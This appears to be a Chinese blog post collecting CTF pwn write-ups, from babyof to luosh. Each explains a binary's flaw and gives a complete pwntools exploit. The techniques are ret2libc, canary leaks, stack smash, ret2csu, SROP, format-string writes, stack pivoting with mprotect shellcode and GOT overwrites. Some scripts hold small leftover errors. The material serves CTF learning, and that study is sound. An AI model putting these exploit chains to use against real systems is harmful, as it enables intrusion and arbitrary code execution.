babyof

发现可以通过read函数进行栈溢出,同时在这之前调用了puts函数,因此可以通过puts函数泄露system在libc中的地址并调用system函数。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| from pwn import *
io = process("./babyof") elf = ELF("./babyof") libc = ELF("./libc-2.27.so")
puts_plt = elf.plt["puts"] puts_got = elf.got["puts"]
sub_addr = 0x400632
pop_rdi_addr = 0x400743
payload = cyclic(0x40 + 8) + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(sub_addr) //64位,参数需要放到 rdi rsi rdx rcx r8 r9
io.recvuntil("Do you know how to do buffer overflow?") io.sendline(payload)
puts_got= u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) //64位 7f开头,长度6字节,最低两位是\x00 //32位 f7开头,长度4字节
libcbase = puts_got - libc.symbols["puts"]
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search(b"/bin/sh"))
payload = cyclic(0x40 + 8) + p64(pop_rdi) + p64(binsh_addr) + p64(ret) + p64(system_addr) //加个p64(ret) 是因为高版本的libc需要维持堆栈平衡,所以 在system之前加ret,一般是2.23,2.27,2.32需要
io.interactive()
|
littleof

exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| from pwn import *
context.log_level = 'debug'
io = process('./littleof') elf = ELF('./littleof') libc = ELF('./libc-2.27.so')
puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] pop_rdi = 0x0000000000400863 ret = 0x000000000040059e main = 0x00000000004006E2
payload = b'A' * (0x50 - 8) io.sendlineafter('overflow?\n', payload) io.recvuntil(b'A' * (0x50 - 8)) canary = u64(io.recv(8)) canary = canary - 0x0a success('canary = ' + hex(canary))
payload = b'A' * (0x50 - 8) + p64(canary) + b'deadbeef' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) io.sendlineafter('harder!', payload) puts_real = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00')) success('puts_real = ' + hex(puts_real))
libc_base = puts_real - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + libc.search('/bin/sh\x00').next() /python3中lib/sh获取:next(elf.search(b"/bin/sh"))
payload = b'A' * (0x50 - 8) + p64(canary) + b'deadbeef' + p64(pop_rdi) + p64(binsh_addr) + p64(ret) + p64(system_addr) io.sendlineafter('overflow?\n', payload)
io.interactive()
|
easyecho
- 这是一道经典的Stack Smash,即通过将flag写入argv0,通过canary的报错将flag输出出来。

分析题目,首先将flag文件读取出来放入unk_2020A0这个bss段上。

接下来进入while函数,首先输入字符串backdoor进行if绕过。
但本题开启了pie
因此我们需要首先泄露pie的基址,输入16个A,通过printf打印带出栈上的数据,

leak=0x555555554cf0
然后看vmmap

发现pie的基址为0x555555554000,并且pie_offset = 0xcf0
然后去bss段寻找flag,发现flag的偏移伪0x202040,所以flag_real_addr = pie_base + flag_offset
然后寻找agrv0所在的地址,

得到argv_0=0x7fffffffdf28
最后再找到溢出开始点v10的地址,计算和argv0的偏移量即可构造payload

发现v10地址为0x7fffffffddc0
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import * context.log_level = "debug"
io = remote("114.55.200.75",9503)
io.sendlineafter("Name: ",b'a' * 16) io.recvuntil("Welcome aaaaaaaaaaaaaaaa")
leak = u64(io.recv(6).ljust(8,b'\x00')) pie_base = leak - 0xcf0 print("leak:",hex(leak))
flag_addr = pie_base + 0x202040 print("flag:",hex(flag_addr))
io.recvuntil("Input: ") io.sendline("backdoor")
argv0=0x7fffffffdf28 v10=0x7fffffffddc0
payload = cyclic(argv0-v10) + p64(flag_addr) io.sendlineafter("Input: ",payload)
io.recvuntil("Input: ") io.sendline("exitexit")
io.interactive()
|
ciscn_2019_s_3(buuctf)


vuln中read明显的栈溢出,并且程序中有控制rax的gadget,因此想到ret2syscall,ROP查看后发现没有控制rdx的gadget,因此需要ret2csu。

注意:该程序最后没有leave,是直接ret的,因此不需要覆盖rbp,rbp的位置直接填充返回地址即可。
另外,没有pop rbp,rbp==rsp,并且值也一直没变过,可能是这个原因,stack查看不了输入的内存在栈上的位置,需要我们用search/find 查看。
手动调试获取栈地址:
首先,在vuln函数处下断点,查看rsi寄存器,rsi寄存器开始存放的就是栈地址,即含有程序名的那一行,得到栈地址为0x7fffffffdfb8。

接下来,输入aaaa后search查看aaaa所处的地址或者在汇编语句处也可查看aaaa所处的地址


在aaaa后0x20处发现栈地址,因此我们接收0x20字节后再次接收8字节即可获得栈地址,计算两者偏移(0xfb8 - 0xe90 = 0x128),这个是我本地的偏移,用0x128可以打通本地,但远程的偏移是0x118。。。
接收获得栈地址 - 0x118即是buf变量的地址了,我们可以将binsh输入buf中,并将buf地址当作binsh地址用作syscall。
接下来就是ret2csu了。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import *
elf = ELF("./") io = process("./")
pop_rbx_rbp_r12_r13_r14_r15 = 0x0040059A //csu_end mov_rdx_r13_call = 0x0400580 //csu_start pop_rdi_ret = 0x04005A3 vuln_addr = 0x0004004ED sysecve_addr = 0x004004E2 //mov eax,0x3b;ret; syscall_addr =0x400501
payload = b'/bin/sh\x00' + b'A' * 0x8 + p64(vuln_addr) io.sendline(payload) io.recv(0x20) binsh = u64(io.recv(8)) - 0x118 //本地为 u64(p.recv(8)) - 0x128 print(hex(binsh))
payload = b"/bin/sh\x00" + b"a"*0x8 payload += p64(pop_rbx_rbp_r12_r13_r14_r15) payload += p64(0) * 2 payload += p64(binsh+0x50) //这里是因为csu中会call r12也就是调用sysecve_addr执行rax = 0x3b;return; //这样会pop完后调用sysecve_addr并ret到syscall_addr,因此不会再次执行到下边pop序列,也 就不用7个pop填充垃圾数据了。 payload += p64(0) * 3 payload += p64(mov_rdx_r13_call) payload += p64(sysecve_addr) payload += p64(pop_rdi_ret) payload += p64(binsh) payload += p64(syscall_addr) io.sendline(payload) io.interactive()
|
最后再放一下csu的汇编代码:

第二种解法:
这题也可以使用SROP解决:
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./2")
io = remote("node1.anna.nssctf.cn",28306)
vuln = 0x4004ED syscall = 0x400501
payload = b'a' * 0x10 + p64(vuln) io.send(payload) io.recv(0x20) stack = u64(io.recv(8)) print(hex(stack)) binsh_addr = stack - 0x118
sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = binsh_addr sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rip = syscall mov_rax_ret = 0x4004da
payload = b'/bin/sh\x00'.ljust(0x10, b'a') + p64(mov_rax_ret) + p64(syscall) + bytes(sigframe)
io.sendline(payload) io.interactive()
|
[HDCTF 2023]Makewish
- 首先泄露canary,程序输入没有溢出,但存在of by null漏洞,通过该漏洞在栈上构造后门函数地址,需要尝试几次。
main函数中,首先通过gdb调试查看随机数v5的值,因为v5距离我们输入点4个字节,因此为输入点上方前三个字节,即0x2c3

绕过检测后进入vuln函数,同时通过read+puts泄露canary值。

vuln函数中,buf[(int)read(0, buf, 0x60uLL)] = 0函数存在漏洞,read函数的返回值为读入的字节数,因此程序会执行buf[size] = 0的操作,而buf[size]位置对应rbp的最后两个字节,因此会将rbp最后两字节做置0操作。

思路:rbp最后两字节置0后,函数执行pop rbp后会将执行流向前移动几个位置,因此可以将栈上布满后门函数地址,程序返回时rsp就会重新被劫持栈上,进而执行后门函数,由于地址随机化的原因,程序需要多尝试几次。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import * context.log_level = 'debug'
while 1: try: io = remote("node4.anna.nssctf.cn",28042) io.sendline(b'a'* 0x28) io.recvuntil(b'a'* 0x28) canary = u64(io.recv(8))-0xa //接收canary print('canary =', hex(canary)) rand = 0x2c3 io.send(p32(rand)) backdoor = 0x4007C7 payload = p64(backdoor)*11+p64(canary) io.sendline(payload) io.interactive() except: io.close()
|
wdb2018_guess
分析程序,程序将flag写入了栈内的buf变量中,且程序中存在fork函数,允许我们溢出三次,程序会执行三次main函数。


利用思路:
程序存在canary,可以利用stack smash泄露内容,因此需要知道buf的地址,因程序中没有打印内容的可利用地方,因此使用libc中的__environ函数泄露栈地址。那么就需要得到libc基地址。
因此,三次泄露:
- 覆盖argv[0]为puts_got,泄露puts_got地址得到libc地址
- 覆盖argv[0]为environ地址,泄露得到栈地址
- 计算得到的栈地址和buf的偏移量从而得到buf地址,将argv[0]覆盖为buf地址

补充:
在libc中保存了一个函数叫_environ,存的是当前进程的环境变量,可以使用x/a __environ查看。
通过___environ的地址得到environ的值,从而得到环境变量地址,环境变量保存在栈中,所以通过栈内的偏移量,可以访问栈中任意变量。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import * context(arch='amd64', os='linux', log_level='debug')
io = remote("node4.buuoj.cn",26020) elf = ELF("./1") libc = ELF("./libc-2.23.so")
puts_got = elf.got["puts"] payload1 = b'a' * 0x128 + p64(puts_got) //argv[0]与溢出点相距0x128 io.sendlineafter("your guessing flag\n",payload1)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) success('puts_addr = ' + hex(puts_addr))
libcbase = puts_addr - libc.sym["puts"] environ_addr = libcbase + libc.sym["__environ"] success('environ_addr = ' + hex(environ_addr))
payload2 = b'a' * 0x128 + p64(environ_addr) io.sendlineafter("your guessing flag\n",payload2)
stack_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) success('stack_addr = ' + hex(stack_addr))
payload3 = b'a' * 0x128 + p64(stack_addr - 0x168) //stack与buf相距0x168 io.sendlineafter("your guessing flag\n",payload3)
io.interactive()
|
[虎符CTF 2022]babygame
保护全开。
main函数中设置了随机数种植,且存在一次栈溢出,可以通过溢出buf覆盖到随机数种植,实现rand可控,进而绕过guess_number函数,进入vuln函数。

vuln函数中,存在一次格式化字符串漏洞。

利用思路:
首先在main函数中,通过溢出覆盖seed实现随机数可控,同时通过printf打印出栈地址。
通过该栈地址计算出vuln函数的返回地址。
在vuln函数中通过格式化字符串漏洞泄露栈上的libc地址,获取libc基地址以及one_gadget。
同时,修改vuln函数的返回地址为call vuln 地址,使程序执行完一次vuln后会再次执行vuln。
第二次vuln函数中,格式化字符串修改vuln函数返回地址为one_gadget。
具体步骤:
1.首先溢出控制seed为b’aaaa’,并生成该seed对应的随机数。在main函数中printf打印buf处下断点查看如图栈地址,相距0x138,因此构造(由于会劫持vuln返回地址,因此程序执行流走不到call ___stack_chk_fail处,因此可以覆盖canary):
1 2 3 4 5
| payload = b'a' * 0x138 io.sendafter("your name:\n",payload)
stack = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) success("stack: " + hex(stack))
|

2.动态调试泄露的该栈地址距离vuln函数的返回值的距离。
由于buf是main函数的第一个局部变量,因此buf位于栈顶位置,main函数调用子函数时首先将子函数返回地址入栈,因此buf再往上(往更小地址)处即为子函数的返回地址,观察printf断点时的栈信息发现,buf上方即为返回地址,因此当程序执行到vuln函数时,buf上方即为入栈的vuln返回地址,计算距离得到0x220。
s进入printf后的栈:


3.通过随机数绕过guess_number函数进入vuln函数。
1 2 3 4
| text = [2, 0, 1, 0, 0, 2, 0, 0, 2, 2, 0, 1, 0, 2, 2, 2, 2, 0, 0, 2, 0, 1, 2, 0, 1, 2, 2, 2, 1, 0, 0, 2, 1, 1, 0, 0, 2, 0, 0, 1, 2, 0, 1, 1, 1, 0, 1, 1, 2, 1, 2, 1, 1, 1, 2, 2, 2, 1, 1, 0, 1, 1, 2, 2, 1, 2, 1, 0, 2, 1, 0, 0, 1, 0, 1, 1, 0, 2, 2, 1, 2, 2, 0, 0, 2, 1, 2, 1, 1, 0, 1, 2, 1, 0, 0, 1, 2, 1, 1, 0]
for i in range(0,100): io.sendlineafter(': \n', str(text[i]).encode())
|
4.在vuln函数中通过格式化字符串漏洞泄露libc地址,并修改返回地址。
泄露libc:通过在exp中下断点到vuln函数printf处的地址,查看栈发现%9$p处为printf的libc地址。
修改返回地址:由于vuln函数地址和vuln函数返回地址后三位不同,根据pie随机化,所以我们修改后两个字节的话倒数第四位属于随机情况,有1/16的概率成功(实际比这个要大),因此我们可以考虑不修改为vuln地址,而是修改为call vuln地址,该指令地址和返回地址相邻,因此只需修改最后一个字节即可。


构造:
1 2 3 4 5 6 7
| payload = b"%62c%8$hhn.%9$p." + p64(stack - 0x220) io.sendline(payload)
io.recvuntil("0x") printf_addr = int(io.recv(12), 16) - 74 libcbase = printf_addr - libc.sym["printf"] success("printf :" + hex(printf_addr))
|
5.程序执行第二次vuln时,格式化字符串修改返回地址为one_gadget。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from pwn import * from ctypes import *
context(arch = "amd64",os = "linux", log_level = "debug")
io = process("./pwn") elf = ELF("./pwn") libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so")
payload = b'a' * 0x138 io.sendafter("your name:\n",payload)
stack = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) success("stack: " + hex(stack))
text = [2, 0, 1, 0, 0, 2, 0, 0, 2, 2, 0, 1, 0, 2, 2, 2, 2, 0, 0, 2, 0, 1, 2, 0, 1, 2, 2, 2, 1, 0, 0, 2, 1, 1, 0, 0, 2, 0, 0, 1, 2, 0, 1, 1, 1, 0, 1, 1, 2, 1, 2, 1, 1, 1, 2, 2, 2, 1, 1, 0, 1, 1, 2, 2, 1, 2, 1, 0, 2, 1, 0, 0, 1, 0, 1, 1, 0, 2, 2, 1, 2, 2, 0, 0, 2, 1, 2, 1, 1, 0, 1, 2, 1, 0, 0, 1, 2, 1, 1, 0]
for i in range(0,100): io.sendlineafter(': \n', str(text[i]).encode())
payload = b"%62c%8$hhn.%9$p." + p64(stack - 0x220) io.sendline(payload)
io.recvuntil("0x") printf_addr = int(io.recv(12), 16) - 74 libcbase = printf_addr - libc.sym["printf"] success("printf :" + hex(printf_addr))
one_gadget = libcbase + 0xe3b31 payload = fmtstr_payload(6, {(stack - 0x220): one_gadget}) io.sendline(payload)
io.interactive()
|
[强网杯 2022]devnull
栈迁移和_mprotect的考察。
【

题目分析:
- fgets可输入0x20个字节,且末位置‘\0’,因此可覆盖fd为0,进而控制下方read从stdin输入,v3输入溢出到返回值,因此考虑栈迁移
- 其中mp函数禁用了bss段的可执行权限,因此考虑栈迁移到data段。
- 第二次read(buf)中,由于buf是指针变量,所以我们可以在read(v3)时控制buf指向data段,第二次read时即可向data段写数据进而构造rop链和she’llcode。
- 由于程序中没有控制rdi的gadget,但有mov rdi,rax和mov rax,[rbp - 0x18]的gadget,因此考虑通过控制rax来控制rdi,由于程序中存在_mprotect函数,因此考虑通过该函数将data权限修改,需要满足rdx = 7(这个在栈迁移后本身是满足的),rdi为要修改权限的区域。


具体实现:
1.首先溢出控制fd实现从stdin输入。
1 2 3 4 5 6 7
| leave = 0x401511 buf = 0x3fe000 rax_rbp_18 = 0x401350 mprotect = 0x4012D0 shellcode = 'push 59; pop rax; push 0x3fe018; pop rdi; push 0; pop rsi; push 0; pop rdx; syscall;'
sa(b'filename\n', b'a'*0x20)
|
2.其次控制rbp和ret进行栈迁移。
1
| sa(b'discard\n', b'a'*0x14 + p64(buf)*2 + p64(leave))
|
3.在buf处构造rop链调用_mprotect函数。
1
| sa(b'data\n', p64(buf + 0x18 + 0x10) + p64(rax_rbp_18) + p64(buf) + b'/bin/sh\x00' + b'a'*0x10 + p64(mprotect) + b'a'*8 + p64(buf + 0x48) + asm(shellcode))
|
这里,栈迁移的具体流程为:
1.首先rbp填充为buf,ret填充为leave ret,具体过程参考图下:

2.栈迁移后,rbp = buf + 0x18 + 0x10,rip为rax_rbp_18,接着执行mov rax,[rbp-0x18]后 rax = [buf + 0x10] = buf。
3.rax_rbp_18中存在leave;ret,此时再进行迁移,mov rsp,rsp;pop rbp,完成后rsp = rbp = buf + 0x18 + 0x10,也就是后8个 b’a’ ,此时rip为mprotect即可跳转执行mprotect。
4.mprotect后面存在pop rbp,ret;因此填充b’a’ * 8给rbp,rip = buf + 0x48 = shellcode,程序接着执行shellcode。
5.终端禁用了标准输出,因此通过cat flag>&2重定向到标准错误获取flag。
[广东强网杯 2021 个人决赛]hardof
程序中调用了alarm,且存在栈溢出。


与传统ret2libc不同,程序中没有puts或write函数,因此没法通过rop调用puts并泄露libc的方法打libc。
利用思路:
1、打开所给libc找到alarm函数发现,在alarm + 5的位置存在syscall指令,因此可以通过覆盖alarm@got低字节为\x15来实现syscall调用。

2、首先通过read向data或bss段读入binsh,接着覆盖alarm@got为syscall。
3、之后控制寄存器,对于rax,由于rax存放read函数的返回值,可以通过调用read函数输入0x3b个字节控制rax = 0x3b。
4、对于rdi,rsi,rdx,可以通过init的gadget片段来实现。

完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| alarm = elf.got["alarm"] read = elf.plt["read"] main = 0x400553 bss = elf.bss(0x500) pop_rsi_r15 = 0x4005e1
pay1 = b'a'*0x48+p64(pop_rsi_r15) + p64(bss) +p64(0) + p64(read) + p64(main) //读入binsh io.send(pay1) sleep(0.5) io.sendline('/bin/sh\x00')
pay2 = b'B'*0x48+p64(pop_rsi_r15)+p64(elf.got['alarm'])+p64(0)+p64(elf.plt['read']) //修改alarm@got pay2 += p64(pop_rsi_r15)+p64(bss+0x60)+p64(0)+p64(elf.plt['read']) //控制rax pay2 += p64(0x4005DA)+ p64(0)+p64(0)+p64(elf.got['alarm'])+p64(bss)+p64(0)+p64(0)+p64(0x04005C0) //init片段
pay2 = b'B'*0x48+p64(pop_rsi_r15)+p64(elf.got['alarm'])+p64(0)+p64(elf.plt['read']) //修改alarm@got
pay2 += p64(pop_rax) + p64(2) //控制open_rax pay2 += p64(0x4005DA)+ p64(0)+p64(0)+p64(elf.got['alarm'])+p64(bss)+p64(0)+p64(0)+p64(0x04005C0)
pay2 += b'a' * 0x38
pay2 += p64(pop_rax) + p64(0) //read pay2 += p64(0x4005DA)+ p64(0)+p64(0)+p64(elf.got['alarm'])+p64(3)+p64(bss + 0x100)+p64(0)+p64(0x04005C0)
pay2 += b'a' * 0x38
pay2 += p64(pop_rax) + p64(1) //write pay2 += p64(0x4005DA)+ p64(0)+p64(0)+p64(elf.got['alarm'])+p64(1)+p64(bss + 0x100)+p64(0)+p64(0x04005C0)
sl(pay2) sleep(0.5) //每两次输入直接需要sleep间隔不然打不通,可能是输入太快会出问题。 s(b'\x15') sleep(0.5) s(b'a' * 0x3b)
io.interactive()
|
2024西电CTF迎新赛luosh
这题是迎新赛最后一题,挺难的。
题目环境:栈题(涉及malloc和free等操作),libc2.35,got表不可改,开启了pie。
这题模拟了linux中的一些操作,包括touch、ls、rm、cat、echo等对文件内容进行操作。
首先main中进入vuln函数:

其中的parse函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| __int64 __fastcall parse(char *a1) { int v2; // eax unsigned int v3; // [rsp+10h] [rbp-10h] int i; // [rsp+14h] [rbp-Ch] const char *s2; // [rsp+18h] [rbp-8h] const char *s2a; // [rsp+18h] [rbp-8h]
s2 = strtok(a1, " "); v3 = -1; for ( i = 0; i <= 5; ++i ) { if ( !strcmp((&command_list)[3 * i], s2) ) { v3 = i; break; } } if ( v3 == -1 ) { printf("No such command %s.\n", s2); return 0xFFFFFFFFLL; } else { nargs = 0; while ( 1 ) { s2a = strtok(0LL, " "); if ( !s2a ) break; if ( strlen(s2a) > 0x1F ) { puts("Args too long."); return 0xFFFFFFFFLL; } v2 = nargs++; strcpy(&arg_list[32 * v2], s2a); } if ( nargs <= 10 ) { return v3; } else { puts("Too many args."); return 0xFFFFFFFFLL; } } }
|
touch函数:

ls函数:

echo函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| __int64 __fastcall echo(__int64 a1) { const char *v2; // rbx int i; // [rsp+10h] [rbp-30h] int j; // [rsp+14h] [rbp-2Ch] int k; // [rsp+18h] [rbp-28h] int v6; // [rsp+1Ch] [rbp-24h] size_t size; // [rsp+20h] [rbp-20h] void **v8; // [rsp+28h] [rbp-18h]
v6 = nargs - 2; size = 0LL; v8 = 0LL; for ( i = 0; i < v6; ++i ) size += strlen((const char *)(32LL * i + a1)) + 1; for ( j = 0; j <= 19; ++j ) { if ( (*((_DWORD *)&file_flag + 8 * j) & 1) != 0 && !strcmp(*((const char **)&file_name + 4 * j), (const char *)(a1 + 32 * (v6 + 1LL))) ) { v8 = (void **)((char *)&file_flag + 32 * j); break; } } if ( v8 ) { if ( !strcmp((const char *)(32LL * v6 + a1), ">") ) { if ( &puts < v8[1] || (unsigned __int64)v8[3] < size ) { if ( v8[1] ) free(v8[1]); v8[1] = malloc(size); v8[3] = (void *)size; } memset(v8[1], 0, size); for ( k = 0; k < v6; ++k ) { strcat((char *)v8[1], (const char *)(a1 + 32LL * k)); if ( k != v6 - 1 ) { v2 = (const char *)v8[1]; *(_WORD *)&v2[strlen(v2)] = 32; } } return 0LL; } else { puts("An error occured."); return 1LL; } } else { puts("No such file."); return 1LL; } }
|
rm和cat函数功能对应linux相应指令,无漏洞,没有用到,这里就不放了。
题目分析:
1、程序结构分析,首先还原题目中的文件结构体,包括file_flag(该文件名是否已存在),file_content(文件内容指针),file_name(文件名指针),file_size(内容大小)
并且成下列顺序排序,每个占8字节。
2、漏洞点在于parse函数中,arg_list数组的大小是320,也就是默认可以输入10个以” “分割的字符串,当数量大于10个时会返回-1,但是这里并不是exit退出程序,虽然会返回-1但是同样可以修改arg_list[320]后边的内容。
3、考虑漏洞利用,由于touch创建一个文件名(如touch 1)后,会malloc(0x20),file_name指向该heap,heap上存放文件名1,如图所示:


4、因此,首先touch 1使它file_name_1指针指向heap,由于ls会打印出heap里的内容,因此考虑通过parse的溢出修改该地址为got表地址,并通过ls泄露libc,但是开了pie,因此需要先泄露pro_base。
5、由于parse解析时,s2指向a1,而a1就是vuln函数中的s1,因此通过观察栈结构填充到指定位置可以泄露处pro_base,当填满512字节时,下一个位置即为main地址,此时可通过puts泄露pro_base。
1 2 3 4 5
| sa("luo ~> ",b'a' * 512) ru('a' * 512) main_addr = u64(p.recv(6).ljust(8,b'\x00')) pro_base = main_addr - 0x1cc2 success("main_addr: " + hex(main_addr))
|
6、现在已知pro_base了,继续实现步骤4来泄露libc:
1 2 3 4 5 6 7 8 9 10
| free_got = 0x3F58 + pro_base sla("luo ~> ",b'touch 1') sla("luo ~> ",b'touch 1 2 3 4 5 6 7 8 9 10 ' + b'1' * 0x10 + p64(free_got)) //由于arg_list长320,因此第十一个位置开始溢出,该位置就是file结构。 sla("luo ~> ",b'ls')
free_addr = get_addr() libc_base = free_addr - libc.sym['free'] system = libc_base + libc.sym['system'] success("system: " + hex(system))
|
7、泄露libc后,观察echo函数,发现可以向指定文件名内写入内容,通过arg_list的溢出覆盖file_context即可实现任意地址写。
8、由于got表不可改且不存在栈溢出,本来打算修改返回地址为system,但是echo中又有检查&puts < v8[1],即要写入的地址不能大于puts,由于栈地址一定大于puts_addr,因此该方法不可行。
9、vuln中的(&funcs_1C6E + 3 * idx))(&arg_list)是可以利用的,如果能控制idx,使其call system,并在arg_list传入binsh,即可getshell。由于idx_addr < puts_addr,因此考虑通过echo + arg_list的溢出功能修改idx为某偏移,该偏移位置上存放的是system地址,即可实现getshell。
10、因此,具体步骤为,通过echo首先往bss段上写入system地址,之后往idx中写入前边bss地址的偏移并在arg_list写入binsh,使程序call system。
11、上一步需要一步巧妙地实现,由于输入luofuck时会跳过parse解析,即idx不会修改,因此我们需要修改idx为offset后输入luofuck绕过parse并执行后边的call [func+idx]。这里还有一点需要注意:由于idx和arg_list都属于参数的第一个位置,输入idx后会覆盖前方输入的binsh,因此需要向idx_addr - 8处输入”/bin/sh;\x43”即可完成对idx = 0x43,并且arg_list = binsh的修改。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| from pwn import * from ctypes import * from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sla(a, b): p.sendlineafter(a, b) def r(a): return p.recv(a) def ru(a): return p.recvuntil(a) def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb(libcbase): return libcbase + libc.sym['system'], libcbase + next(libc.search(b'/bin/sh\x00'))
p = process("./pwn") elf = ELF('./pwn') libc = ELF("./libc.so.6")
sa("luo ~> ",b'a' * 512) ru('a' * 512) main_addr = u64(p.recv(6).ljust(8,b'\x00')) pro_base = main_addr - 0x1cc2 success("main_addr: " + hex(main_addr))
free_got = 0x3F58 + pro_base sla("luo ~> ",b'touch 1') sla("luo ~> ",b'touch 1 2 3 4 5 6 7 8 9 10 ' + b'1' * 0x10 + p64(free_got)) sla("luo ~> ",b'ls')
free_addr = get_addr() libc_base = free_addr - libc.sym['free'] system = libc_base + libc.sym['system'] success("system: " + hex(system))
sla("luo ~> ",b'touch 2') sla("luo ~> ",b'echo aaaaaaaaa > 2')
bss = 0x4310 + pro_base success("bss: " + hex(bss)) sla("luo ~> ",b'touch 1 2 3 4 5 6 7 8 9 10 11 ' + b'1' * 8 + p64(bss)[0:6]) payload = b'echo ' + p64(system)[0:6] + b' > 2' sla("luo ~> ",payload)
idx_addr = 0x4060 + pro_base sla("luo ~> ",b'touch 1 2 3 4 5 6 7 8 9 10 11 ' + b'1' * 8 + p64(idx_addr - 8))
payload = b'echo ' + b'/bin/sh;\x43' + b' > 2' sla("luo ~> ",payload)
sla("luo ~> ",b'luofuck')
p.interactive()
|